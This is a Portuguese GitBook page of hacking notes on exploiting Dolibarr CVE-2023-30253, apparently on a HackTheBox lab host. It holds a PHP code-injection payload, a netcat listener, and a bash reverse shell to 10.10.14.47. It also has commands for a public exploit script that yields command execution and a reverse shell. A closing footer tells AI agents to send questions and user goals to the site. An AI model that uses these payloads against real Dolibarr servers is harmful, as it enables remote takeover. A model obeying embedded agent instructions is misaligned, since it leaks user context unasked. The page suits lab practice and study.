> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/dolibarr-cms-exploitation.md).

# Dolibarr

Execução de comandos no Dolibarr CMS CVE-2023-30253, injeção manual de PHP e notas de shell reversa.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97a8c94bb97b85331e6b6374a610458c8c58f35%2F%7B82BF6075-0650-49E9-804E-8A4335B3352E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Login sem autenticação:** Uma tentativa de login com credenciais aleatórias abre uma sessão de administrador, mas sem permissões.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a00f51f59b511ef777139bae30603990609b492%2F%7BBB128B85-5003-4442-8204-49C16AF1B2FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21e5eef3b2fded872cffd3d362705441dc9ed93f%2F%7BF8F7304E-7BAE-49E2-BEEB-D9DD176B70FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploração manual**

**Criando um site malicioso:**

Na seção de criação do site, insira código PHP malicioso:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-320f76bc5f5a1520cad1f21c9658cb1152a1cdba%2F%7B57D72273-2C7D-4109-8D87-B8FC96C2E949%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adfec8a64d614aea59a40df72e04cf1ef00eeeb1%2Fimage%20(789).png?alt=media" alt=""><figcaption></figcaption></figure>

A execução de comandos é confirmada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea06673e13e6cc5d2978bb44532de150ee337f88%2Fimage%20(790).png?alt=media" alt=""><figcaption></figcaption></figure>

**Shell reverso:**

Inicie um listener:

```bash
nc -nvlp 443
```

Código PHP de shell reverso:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5724f0d9b87376187f0136697612ffa2ae8f47b6%2F%7B98AECE2A-9CC2-4EE0-891D-B7E8055E9580%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploração automatizada**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**Instale as dependências :**

```bash
pip3 install -r requirements.txt 
```

**Execute o script :**

Teste de comando (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c8443fb1d37bbeea65c6f1b92cde52baf2eaa61%2Fimage%20(785).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell reverso

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-582d60982c09f92ab4ebea4cfb0349a4442456ab%2Fimage%20(786).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/dolibarr-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
